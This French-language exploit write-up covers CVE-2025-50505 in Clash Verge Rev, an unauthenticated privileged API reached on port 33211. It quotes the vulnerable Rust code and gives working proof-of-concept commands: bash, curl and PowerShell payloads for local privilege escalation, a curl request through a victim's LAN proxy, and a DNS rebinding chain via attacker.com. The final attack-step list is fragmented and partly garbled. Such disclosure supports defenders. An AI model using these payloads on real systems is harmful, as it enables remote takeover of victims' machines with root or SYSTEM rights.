
Exploit pour CVE-2025-50505 dans Clash Verge Rev, démontrant une élévation de privilèges locale et une exécution de code à distance via une API non authentifiée, incluant des techniques de rebinding DNS et de shell inversé.
API non authentifiée conduisant à l'exécution de commandes arbitraires et à l'escalade de privilèges dans Clash Verge Rev
La vulnérabilité provient d'un point de terminaison API non authentifié exposé par le composant clash-verge-service, qui est installé avec des privilèges élevés par défaut. Cette faille permet à un attaquant d'exécuter des commandes arbitraires, conduisant à deux scénarios d'attaque principaux : l'escalade de privilèges locale (LPE) sur la machine hôte et l'exécution de code à distance (RCE) sous certaines conditions.
Le vecteur RCE peut être exploité par des attaquants sur le même réseau local (LAN) si l'utilisateur a activé les connexions LAN. Plus critique encore, il peut être exploité depuis l'internet public en enchaînant la vulnérabilité avec une attaque par DNS Rebinding, permettant aux attaquants de contourner les politiques de sécurité du navigateur et d'exécuter des commandes sur la machine d'une victime simplement en lui faisant visiter un site web malveillant.
Un avertissement public initial de cette vulnérabilité a été fourni par @KawaiiZapic sur X.
Le composant clash-verge-service s'exécute avec des privilèges élevés (root ou SYSTEM) et expose une API HTTP non authentifiée sur 127.0.0.1:33211. La vulnérabilité réside dans le point de terminaison /start_clash, qui accepte une charge utile JSON pour contrôler le démarrage du processus principal Mihomo.
Le service construit et exécute une commande basée sur plusieurs paramètres de cette charge utile, suivant une structure similaire à :
<bin_path> -d <config_dir> -f <config_file> >> <log_file>
Crucialement, les quatre paramètres—bin_path, config_dir, config_file et log_file—sont entièrement contrôlables par l'attaquant. Bien que Rust offre une protection inhérente contre l'injection de commandes classique (par exemple, l'utilisation de ; ou | pour enchaîner des commandes), le contrôle de l'attaquant sur la structure complète de la commande permet une attaque en deux étapes pour réaliser une exécution de code arbitraire.
/start_clashclash-verge-service/src/service/mod.rs
// Ligne 29
const LISTEN_PORT: u16 = 33211;
// Lignes 77~80
let api_start_clash = warp::post()
.and(warp::path("start_clash"))
.and(warp::body::json())
.map(move |body: StartBody| wrap_response!(COREMANAGER.lock().unwrap().start_clash(body)));
// Lignes 98~107
warp::serve(
api_get_version
.or(api_start_clash)
.or(api_stop_clash)
.or(api_stop_service)
.or(api_get_clash)
.or(api_exit_sys),
)
.run(([127, 0, 0, 1], LISTEN_PORT))
.await;
start_clash() appelle start_mihomo() et start_mihomo() appelle la fonction process::spawn_process(bin_path, &args, log) en passant bin_path. spawn_process() appelle std::Command::new(command) pour exécuter la commandeclash-verge-service/src/service/core.rs
let pid = process::spawn_process(bin_path, &args, log)?;
clash-verge-service/src/service/process.rs
let child = Command::new(command)
.args(args)
.stdout(log)
.stderr(Stdio::null())
.spawn()?;
echo -e '#!/bin/bash\nid > /root/pwned' > /home/user/pwn
chmod +x /home/user/pwn
curl -XPOST http://127.0.0.1:33211/start_clash \
-H 'Content-Type: application/json' \
-d '{
"bin_path":"/home/user/pwn",
"config_dir":"/tmp",
"config_file":"/dev/null",
"log_file":"/tmp/x"
}'

sudo cat /root/pwned


pwn.bat :
@echo off
whoami > C:\Users\xxx\Desktop\pwned.txt
test.ps1 :
$apiUrl = "http://127.0.0.1:33211/start_clash"
$headers = @{ "Content-Type" = "application/json" }
$body = @{
bin_path = "C:\Users\xxx\Desktop\pwn.bat"
config_dir = "C:\Windows\Temp"
config_file = "NUL"
log_file = "C:\Windows\Temp\exploit.log"
} | ConvertTo-Json
Invoke-RestMethod -Uri $apiUrl -Method Post -Headers $headers -Body $body

La vulnérabilité peut être élevée en RCE dans deux scénarios.
Si un utilisateur active l'option « Autoriser le LAN » (局域网连接) dans le client Clash Verge Rev, le serveur proxy de l'application devient accessible à tous les appareils du même réseau local. Un attaquant sur le même LAN peut exploiter cela en dirigeant sa requête malveillante via le proxy exposé de la victime.
curl --proxy http://192.168.108.129:7897 \
-XPOST http://127.0.0.1:33211/start_clash \
-H 'Content-Type: application/json' \
-d '{
"bin_path":"/path/to/malicious/script",
"config_dir":"/tmp",
"config_file":"/dev/null",
"log_file":"/tmp/x"
}'
Une attaque plus avancée peut être réalisée depuis l'internet sans nécessiter d'accès au LAN. La chaîne d'attaque exploite le DNS Rebinding combiné à un comportement spécifique du navigateur connu sous le nom d'exploit « 0.0.0.0-day ».
La clé de cette attaque est que Firefox et certaines versions de Chromium traitent l'adresse IP 0.0.0.0 comme un alias de 127.0.0.1. Cela permet à un attaquant de contourner les fonctionnalités de sécurité modernes des navigateurs comme la politique de même origine (SOP) et l'accès au réseau privé (PNA).
Le déroulement de l'attaque est le suivant :
attacker.com).attacker.com vers sa véritable adresse IP publique. La page malveillante se charge dans le navigateur de la victime.attacker.com en 0.0.0.0 avec un TTL très court.attacker.com et reçoit maintenant 0.0.0.0.127.0.0.1 sur la machine de la victime.